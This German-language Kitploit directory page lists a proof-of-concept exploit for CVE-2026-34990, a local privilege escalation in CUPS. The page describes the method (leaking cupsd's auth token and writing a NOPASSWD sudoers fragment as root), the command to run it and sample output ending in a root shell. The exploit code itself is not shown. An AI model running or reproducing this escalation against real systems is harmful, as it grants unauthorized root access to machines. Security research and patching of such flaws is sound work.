Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-34990 — Minimaler PoC für CVE-2026-34990: lokale Rechteausweitung in CUPS <= 2.4.16, die cupsds Local-Auth-Token leakt und ein NOPASSWD-sudoers-Fragment als root schreibt. | Kitploit
Tools/GitHubGitHub/predyy/cve-2026-34990
Privilege EscalationSchwachstellenanalyseExploitationSicherheitsvirtualisierungPenetrationstests
GitHubpredyy/cve-2026-34990

CVE-2026-34990

Minimaler PoC für CVE-2026-34990: lokale Rechteausweitung in CUPS <= 2.4.16, die cupsds Local-Auth-Token leakt und ein NOPASSWD-sudoers-Fragment als root schreibt.

Repository anzeigen
29vor 3 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-34990 - CUPS Local Privesc

Lokale Rechteausweitung gegen CUPS <= 2.4.16, das als root läuft. Leakt das Local-Auth-Token von cupsd und schreibt dann als root ein NOPASSWD-sudoers-Fragment über eine file://-Druckwarteschlange.

Verwendung

python3 poc.py

Bei Erfolg:

[*] CVE-2026-34990 | user=ctfplayer | cupsd=127.0.0.1:631
[*] coercing cupsd - rogue server ...
[+] captured token: f4a8...c31b
[*] writing sudoers ...
[+] wrote /etc/sudoers.d/ctfplayer-pwn
[+] ROOT: uid=0(root) gid=0(root) groups=0(root)
[*] run: sudo -i

Dann:

sudo -i

Haftungsausschluss

Dieses Skript ist ausschließlich für Bildungszwecke gedacht. Der Autor ist nicht verantwortlich für jeglichen Missbrauch oder Schaden, der durch diesen Exploit verursacht wird. Stelle stets sicher, dass du die Erlaubnis hast, bevor du Schwachstellen testest oder ausnutzt!

Tool herunterladen